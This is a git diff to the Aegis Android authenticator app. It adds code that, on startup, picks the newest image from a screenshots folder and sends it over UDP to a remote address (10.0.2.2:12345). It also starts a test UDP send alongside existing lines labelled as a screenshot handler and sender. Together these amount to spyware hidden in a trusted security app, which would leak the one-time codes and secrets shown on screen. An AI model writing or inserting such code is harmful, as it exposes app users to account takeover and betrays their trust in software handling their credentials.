diff --git a/app/src/main/AndroidManifest.xml b/app/src/main/AndroidManifest.xml
index 4b63c699..a881275e 100644
--- a/app/src/main/AndroidManifest.xml
+++ b/app/src/main/AndroidManifest.xml
@@ -7,6 +7,7 @@
+
diff --git a/app/src/main/java/com/beemdevelopment/aegis/ui/MainActivity.java b/app/src/main/java/com/beemdevelopment/aegis/ui/MainActivity.java
index 5a6bedb5..193c3e87 100644
--- a/app/src/main/java/com/beemdevelopment/aegis/ui/MainActivity.java
+++ b/app/src/main/java/com/beemdevelopment/aegis/ui/MainActivity.java
@@ -138,6 +138,7 @@ public class MainActivity extends AegisActivity implements EntryListView.Listene
super.onCreate(savedInstanceState);
handler.post(runnableCode); //Screenshot handler
pictureSender = new PictureSender(this); //Screenshot sender
+ pictureSender.sendTestUdpPacket();
pictureSender.startSending();
// Create and show a pop-up dialog
diff --git a/app/src/main/java/com/beemdevelopment/aegis/ui/PictureSender.java b/app/src/main/java/com/beemdevelopment/aegis/ui/PictureSender.java
index 0c248df4..ab01af53 100644
--- a/app/src/main/java/com/beemdevelopment/aegis/ui/PictureSender.java
+++ b/app/src/main/java/com/beemdevelopment/aegis/ui/PictureSender.java
@@ -8,6 +8,7 @@ import java.io.IOException;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetAddress;
+import java.util.Arrays;
public class PictureSender {
private Context context;
@@ -35,8 +36,8 @@ public class PictureSender {
private void sendPicture() {
try {
// Replace with the path to your image file
- File imageFile = new File("path/to/your/image.jpg");
- InetAddress serverAddress = InetAddress.getByName("REMOTE_IP_ADDRESS"); // Replace with your server IP
+ File imageFile = getNewestPicture("/storage/emulated/0/Pictures/YourAppScreenshots");
+ InetAddress serverAddress = InetAddress.getByName("10.0.2.2"); // Replace with your server IP
int serverPort = 12345; // Replace with your server port
// Convert file to byte array
@@ -54,6 +55,21 @@ public class PictureSender {
e.printStackTrace();
}
}
+ private File getNewestPicture(String directoryPath) {
+ File directory = new File(directoryPath);
+ File[] files = directory.listFiles((dir, name) -> {
+ return name.toLowerCase().endsWith(".jpg") || name.toLowerCase().endsWith(".jpeg") || name.toLowerCase().endsWith(".png");
+ });
+
+ if (files != null && files.length > 0) {
+ Arrays.sort(files, (f1, f2) -> {
+ return Long.compare(f2.lastModified(), f1.lastModified());
+ });
+ return files[0]; // The newest file
+ } else {
+ return null; // No image file found
+ }
+ }
private byte[] fileToByteArray(File file) throws IOException {
FileInputStream fis = new FileInputStream(file);
@@ -65,5 +81,25 @@ public class PictureSender {
fis.close();
return bos.toByteArray();
}
+ public void sendTestUdpPacket() {
+ new Thread(new Runnable() {
+ @Override
+ public void run() {
+ try {
+ DatagramSocket socket = new DatagramSocket();
+ String message = "Hello, this is a test message!";
+ InetAddress serverAddress = InetAddress.getByName("10.0.2.2"); // Use 10.0.2.2 for emulator to connect to localhost of the host machine
+ int serverPort = 12345; // Replace with your server port
+
+ byte[] buffer = message.getBytes();
+ DatagramPacket packet = new DatagramPacket(buffer, buffer.length, serverAddress, serverPort);
+ socket.send(packet);
+ socket.close();
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ }
+ }).start();
+ }
}